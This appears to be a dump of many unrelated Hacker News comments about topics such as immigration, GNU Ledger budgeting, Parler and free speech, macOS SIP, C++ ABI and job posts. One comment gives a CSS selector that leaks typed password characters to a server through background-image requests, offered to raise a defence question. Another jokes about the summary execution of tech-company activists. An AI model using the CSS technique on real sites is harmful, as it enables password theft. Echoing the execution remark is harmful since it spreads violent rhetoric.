skysight-inc/HackerNews huggingface dataset:
I spoke to someone from Ethiopia recently who was living in the US after fleeing their country due to concerns about their government. Their approach was to get a study visa. Covid notwithstanding, this would let you enter another country for a prolonged period of time, and you could use your time there to pick your life back up. Canada, for example, has a much more lax immigration policy compared to the US.

I went the study visa -> work visa -> permanent residency -> citizenship path myself - though, thankfully, I had the luxury of not having the pressure of being forced to leave behind a country with an unstable government (I went from Brazil to Canada). I've since also obtained a US green card (I had that process started before this whole "election steal" kerfuffle started).

The obvious downside of this approach is that it might become difficult to visit family (e.g. because international travel can be expensive, but in the Ethiopia case, literally due to fear of political backlash), though if the alternative comes down to literally having to stock up on guns and ammo, that might not be a bad trade-off...
As I understand it, Fisher had two complaints. First, that the trifactorial data was just wildly too accurate (using a chi-squared approach). This seems to be resolved in the scientific community as an off-by-one error: if instead of 10 seeds, Gregor had used 11 on occasion, that's enough to resolve the issue.

The other issue is the chi-squared analysis of Mendel's experiments in aggregate, which when pooled also too neatly fit the pattern he wanted to illustrate. And as best I know, nobody has adaquately disputed that analysis.
> modelling occasional expenses

I would say it's very hard to budget for bursty things on a monthly cadence. You can have a "virtual account" for this stuff, that fills on months with little activity and drains on months with more activity. But this is kind of complicated and might not be worth it.

I'd try answering the question: what is your goal in budgeting for gas, for example? Is it to keep gas spending under control? Or to understand how much you spend on gas? And if you want to understand, why? Budgeting is a solution to some answers to these questions, but not all of them.

Personally, I find it more useful to track these things, than to budget them, if that makes sense.

For example, I want to know how much I spent on rental cars in 2020, because that impacts our decision to lease a car in 2021.

> a way of indicating that a particular chunk of them should actually be extracted from the smoothing and assigned to a different category altogether

In GNU Ledger, you can apply arbitrary categories to each expense, and you can also "tag" line-items. For example, if you think 80% of your last refill was from a trip, you can do as follows:

20201/01/12 * Chevron
Expenses:Travel:Car:Gas $16.00 ; :vacation:
Expenses:Travel:Car:Gas $4.00 ; :commuting:
Liabilities:CreditCards:AppleCard $-20.00

You can then do queries to see which of your gas came from commuting, and which came from vacation.

You can remove vacation from your reports altogether, and you can also focus exclusively on each vacation. You can even tag vacations, if you so choose.

; :vacation:lasvegas2021:

> amortized over a time period that I specify rather than counted right at the moment of purchase

You can achieve this behavior by specifying "effective dates" for certain purchases.

For example, when I buy plane tickets, I like to amortize the cost of that ticket over each day I'm at my destination (similar to your home depot example).

2020/01/11 * American Airlines
; three-day trip to Colorado
Expenses:Travel:Plane $80.00 ; [=2020/02/01]
Expenses:Travel:Plane $80.00 ; [=2020/02/02]
Expenses:Travel:Plane $80.00 ; [=2020/02/03]
Liabilities:CreditCards:Apple $240.00

The dates in the comment are called "Effective dates". You can ask for reports to be presented with either effective dates or transaction dates, at query-time. Note that the credit card payment's effective date is identical to the transaction date.

Let me know if you have any further questions! It's a fun topic.
Parler was not a "hate site." It's a social media platform that chose to take a reactive rather than proactive approach to policing illegal behavior, and experienced the growing pains of an up-and-comer advertising itself as a Twitter alternative that then had to deal with a flood of Twitter refugees during a political crisis.

The overwhelming vast majority of the people on Parler were simply normal people tired of what they perceived as a double standard in Twitter's treatment of conservatives as opposed to liberals, and wished to support a competitor.
I hope these good revolutionaries will find fine cheese, wine and ethically sourced gourmet food consuming bourgeoisie activists, especially those at tech companies, to be eminently suitable for summary execution in first round.
> Apple is making the use of many security functions black or white: either you allow complete control by Apple, or you have little to no protection at all.

Wow, thank you for providing a perfect example of what I mean.

I specifically brought up upgrading bash because that was the use case that prompted me to actually learn about SIP. It took me all of fifteen minutes to read a few docs on it, restart and disable it, upgrade to Bash 5...and re-enable SIP and move on with my day, because the dichotomy of "complete control" and "little to no protection" you're presenting here is an egregiously false one. But god forbid anybody actually learn about the platform they're criticising (and there are plenty of real things to criticise about macOS that aren't just projected fears from iOS) before clutching at pearls.

I came to macOS from Linux, and there most definitely are conflicts between what I want to do and what Apple thinks I should be doing. Astonishingly I've almost always been able to go ahead and do those things (barring a complete lack of functionality e.g. with dropping support for 32-bit libraries, an unsolvable dilemma I've managed to crack by...leaving one of my devices on Mojave) because I don't just sit on my hands and whine about it. Apparently this is defending a giant faceless corporation, so I should probably wear that badge with pride.
Its a little trickier in New Zealand, where one pulse means '9' :)

https://commons.wikimedia.org/wiki/File:New_Zealand_Rotary_T...
I was kind of surprised to see a notice to uninstall Flash when I turned on my laptop yesterday. I wasn't even aware that Flash was installed on that machine.
Look... this sounds a lot like someone venting their opinions over some drinks.

It’s unsettling... but I’ve heard way more unsettling things in normal day to
Day life because I walked into a conversation without any context.

When he started talking about enlightenment camps it was really hard to imagine he was being serious in any fashion.
I'm so glad to see this post and be reminded of the variety of banana kinds that are available in my home country. In the US, I think it's only the Cavendish and maybe Plantain that are commonly seen in the markets. When people say 'buy banana' in the states, we know it's to buy cavendish. But in my home country, when I asked my mother to buy banana when she goes shopping, I had to tell her what specific kind.

I truly miss the variety of food and vegetables available in my home country. In the US, I will have to be rich to afford such variety of food and even then, I might not be able to access them immediately/fresh. I guess that's the price we pay for efficiency in the developed world (of food production which is more or less monoculture and corporatized).
The ABI break in libstdc++ has nothing to do with templates and it was not done by mistake.

The layout of std::string changed to conform to the new standard; exactly the same thing would have happened if std::string was a C POD type, there is no way around that.

In fact libstdc++ to this day still has the option to be compiled with the old ABI.

There have been other minor ABI breaks, mostly to fix bugs, which affect only a small number of programs.

Pure C libraries have exactly the same ABI stability issues caused by changes in layout of structures; to avoid this C libraries expose only opaque pointer sized handles to heap allocated objects. This is similar to C++ libraries only exposing pointers to virtual interfaces, but for high performance libraries, for example containers, this is not considered acceptable.
Ahem! https://www.nytimes.com/2019/11/01/dining/best-cheese-rogue-...

I heard they have good wine and apples, too ;->

Liberté, Égalité, Puérilité!

/me just shrugs and thinks more and more of Idiocracy, Planet of the Apes, and so on.
I'm all for beating the "more education" drum, but at some point we're going to need to reckon with the fact that there are some very intelligent people out there who should know better and don't or, worse, exploit it to take advantage of others.
> I think the speech part should always be 100% free.

I don't think a claim like this is meaningful without a precise definition of "speech". And, consequently, I think you'll find any attempt to define which things are not "speech" ends up being functionality equivalent to dialing back from that theoretical 100%.

In general, you can't have 100% freedom over any finite resource. If there's only one dessert in the fridge, you and I can not both have 100% freedom to eat it.

If you presume that any meaningful "speech" has some non-zero audience size, then speakers are competing for the finite attention of other humans. You can't have perfect freedom for that.
Lots of countries with NN regulations allow zero rating e.g. look at the EU.
People don't like these enormous platforms having the power to unilaterally make these decisions on a dime, accountable to no one but shareholders. At a certain point these platforms get so big and integral to modern life they need to be regulated.
In the US, in larger cities, you'd have separate "white pages" (aka the phonebook) which lists just names and addresses and "yellow pages" which had business listings and ads. In smaller locations, they were often combined into one with both white pages and yellow pages in the same book.
Next will be DNS, then encryption. If you’re more than 25 old you already know this.
They just did. It's mentioned in the article.
Different people learn in different ways, but I tend to always want to jump straight to an example I can pore over before reading the docs.
Personally I think these movements are the natural result of pivoting our epistemological institutions from truth-seeking to progressive political advocacy. The right in particular has less reason to recognize these institutions as “truth authorities” as even when the right has a good point (e.g., when the right asks, “how do we know that racism and not crime rates belies police shooting disparities?”) , they can rely on these institutions to ignore or misrepresent them. So some of them decide to go shopping around for their own epistemological institutions which will support them in a similar (albeit cruder and more overt) way to how universities, media, etc back progressives and progressive viewpoints.

The way out of this, IMHO, is to reverse course—to restore integrity to the media and generally to show the right that there is a good faith process through which their legitimate ideas can succeed and be rewarded. Trying to force an ideological hegemony isn’t going very well, however cathartic it may be or however right we are about our points and policy issues.
There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors:

input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }

How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.
Well, having the government actually help people, work transparently, and prosecute corruption would do wonders for quelling conspiracies.
I had began creating my own sort of thing on top of Hasura which I prefer but this is pretty cool. I'm not at all too big on TS (which is sacrelige apparently) but I'll check this out.
IPFS Powers the Distributed Web
This would only be true as long as whatever the decryption algorithm is, it is not possible to run it off of the device, or otherwise interrupt the process of resetting the counter used to decide to rate-limit or self-destruct.

Famously older iPhones were susceptible to resetting the 'Invalid Attempts to Unlock' counter that the iPhone stored in the Secure Element to workaround the PIN rate-limit, by halting the CPU before it had a chance to increment the value, but right after it returned the pass/fail result.

So Signal could be entangling this PIN with a key from the Secure Enclave, and then trying to securely increment a counter inside the Secure Enclave to implement exponential rate-limiting and self-destruct, but it would be tricky to implement correctly.
There's an argument that high contrast ratios are too high on the eyes, which is why "not quite black" is used on "not quite white" backgrounds.

How people ran away on this to 50% brightness text on 70% brightness backgrounds is another question.
Greenwald flushed his whole-ass reputation down the toilet for Trump, much like Giuliani. Ya hate to see it.
PG&E is a utility monopoly and regulated differently than a typical private business for that reason.
And if you refute their arguments and they still repeat their same beliefs? If other people continue to join their cause, repeating the same statements?

https://en.wikipedia.org/wiki/Post-election_lawsuits_related... uhidential_election?wprov=sfla1

If they call for, and plan violent action based on their beliefs? If they begin taking violent action based on their beliefs?

A lie is a lie, and at some point the responsibility falls on the person making the false statement, even if they truly believe it.

(One of the worst results of this situation is that many of the poor, rural people believing the lies have real problems and need help. But they aren't going to get it because of the politics. On the other hand, their actions have gone beyond debate and form a real threat to our society.)
Oooh, that's interesting. I hadn't heard about that one. Thanks for sharing.
Your original post says "UNIX style", not "UNIX descendent from Bell Labs". Don't shift goalposts.
"51% failure rate" doesn't mean "100% accurate 49% of the time, and 50% accurate 51% of the time", it means "right 49% of the time, wrong 51% of the time" - a coin toss.
I have a such Fujitsu Lifebook. To be honest, I always use an USB-Ethernet adapter instead of the built in foldable. But it's great to have an Ethernet port for emergency use. It's a nice notebook anyway. Very light, mate touch and pen display (a pen can be stored inside of the notebook), a lot of ports. Battery and SSD can be replaced very easy (sadly RAM not).
Ask HN: What laptops can HN recommend in the ~1000€ price range?
My old Dell XPS 13 9360 is slowly falling apart. I had to replace the battery twice already and the touchpad hasn't been properly working for a while. Even replacing it has not fixed the issue of it stopping to work a few minutes after booting up. I also get regular Bluescreens and the microphone is not working anymore. Now, my keyboard is starting to act up.

Hence, I'm looking for a new daily driver. Ideally, it should be lightweight, since I'm a student, but powerful enough to run more complex statistical algorithms. It should also not exceed 1500€. Ideally, it will be a bit more durable than my current device. At least it's 13' form factor is quite nice.
Strangely enough you can re-enable SIP after making the changes you need to let you or your desired applications do what you want.
As someone who is relatively new to coding but has a small Qt project, can someone explain what LTS is? I’m thinking it means you get security updates but don’t have to change api versions that might break your app?

For example, my app compiles with Qt 6 and I wrote it as such. But I’m guessing when 6.1 comes around, there may be a chance that something will break.

I guess I’m wondering if bigger projects avoid trying to update because it makes for complicated debugging if something does need to be changed, or if maybe something else contributes to it.
Sentry Is Down
Thanks for the references. The academic paper about Hyperscan is very interesting: https://www.usenix.org/system/files/nsdi19-wang-xiang.pdf

My impression is that they break the regex into components and use choose different algorithms for each component:

1. String search (for fixed strings)

2. DFA (if the number of states is small enough)

3. NFA (if the numer of states is too large)

But one important detail is that Hyperscan doesn't do capture groups and IIRC, capture groups are hard to do using a DFA representation. So going back to my original question, I now wonder if there are other ways to run an NFA (for regexes with capture groups) other than the traditional method of updating all the states in parallel, one character at a time.
Isn't the idea here that they don't want people snooping around and hanging out on the part of their website that describes all the problems going wrong with their service?
As it compiles through C it can use many of the optimizations of the C compiler. The code it produces seems, in general, slightly slower than chicken, but with a more uneven profile.

On the other hand it seems like a nice environment! It uses cheney on the MTA, which mean free call/cc among some other things.

Other than that? It seems like package managers are finally coming to scheme. Good. Chicken has been the only one with a proper one for quite some time.

Roughly the same speed as chicken means fast enough for most tasks. Probably some orders of magnitude faster than python for things that are actually written in python and not just glue between C function calls.
"Winter is coming and Collapse OS aims to soften the blow. It is a Forth operating system and a collection of tools and documentation with a single purpose: preserve the ability to program microcontrollers through civilizational collapse."

https://collapseos.org/
Sock Club | Web Developer (Ruby on Rails, Javascript) | Austin, TX | FULL-TIME, REMOTE, https://custom.sockclub.com and https://www.sockclub.com

The retail landscape is shifting it's reorganizing from around the automobile to around the smartphone. We are working to capitalize on this change by building a DNVB (digitally native vertical brand) and also working on the discovery problem for ecommerce. If you're interested in this opportunity contact me at dane@sotmclub.com
While I like the highway analogy, it only works if the places where "free speech" are being conducted are US owned , public infrastructure.

A closer analogy would be private roads. If Amazon owned a series of private highways used solely for shipping goods, would we care if they stopped transporting items they didn't agree with on those Amazon owned highways?

Forgive me if I'm repeating a common refrain here, but the words we say on Twitter, Parler, Facebook, and even HN aren't "free", spoken in a public place. They're owned by Twitter, Parler, Facebook and HN. Those companies can choose to do whatever they want, for better or worse.
More generally, I think you could call tariffs "fair" that seek to keep companies in your market from being punished by compliance with the regulatory environment. In an increasingly "liquid" global trade market, tariffs can let you regulate businesses in your country to a higher (read: more expensive) standard (be it to protect labor, the environment, consumers, shareholders or IP) while protecting the compliant business (and industry as a whole) from being undercut by competitors in countries that don't have those protections.

If effective, there can be a second order effect that pressures other countries to raise their standards as well.
Do you store personal data?
Given the timeline Eltech had likely been shut down for at least a year. Then Apple came around with their x86 to ARM translation layer, prompting Huawei to go shopping for a competitor, seeing the defunct Eltech, and buying their IP.

Sounds like a late happy ending for a failed company that was just a few years too early with their product. I hope the founders got a good deal.
Europe flattens the pareto curve more than the US does, is my non-nuanced observation.
> 207.60.36.176 - 207.60.36.183 Chris Pet Store

Peculiar on many levels...
I feel like we've all been a bit brainwashed by the government in our notion

While I agree with the general sentiment of your comment, I wouldn’t say that the brainwashing has been on the part of the government. All of the efforts at limiting speech, at least recently, have come from private, left-leaning people and organizations. The general consensus seems to be that all speech that doesn’t endorse leftist political views is hate speech and should therefore be banned.

I went on Parler, which I had never heard of before last week, just to see what the big deal was. I saw nothing endorsing violence, planning attacks, conspiracy theories, or hate speech. I saw a modern looking Twitter clone with similar, mundane conversations. I suppose I didn’t see much leftist banter, but that was the only real difference between it and Twitter.

The idea that elite liberals with monopoly power colluded to strangle a site like this, simply because a percentage of its users likely voted a different way than they did, should be offensive to all Americans, regardless of political affiliation. It makes me fear for the future of democracy as a whole. Democracy cannot exist without the ability to debate.
Keybase
[ my public key: https://keybase.io/flamebotnet; my proof: https://keybase.io/flamebotnet/sigs/z0iebSkWl9Wut9_ajwjG_bSg0S_Fv1E7_wiP7G68Gls ]
Telegram crosses 500M monthly active users
We already got some feedback from developers who used the generated code to learn Node.js :-) maybe it is your chance to jump into TS
So the argument against dedicated infrastructure taxes like this, is that it takes tax money away from other things that also need it.

Generally speaking, increased development will also require not just roads and transit, but investments in water, electric, sewer, schools, police, fire, etc. If you dedicate funding for one thing it takes away from something else, and you really don’t want to turn a general funds tax bill into dozens of line-items that get nitpicked and fought over constantly.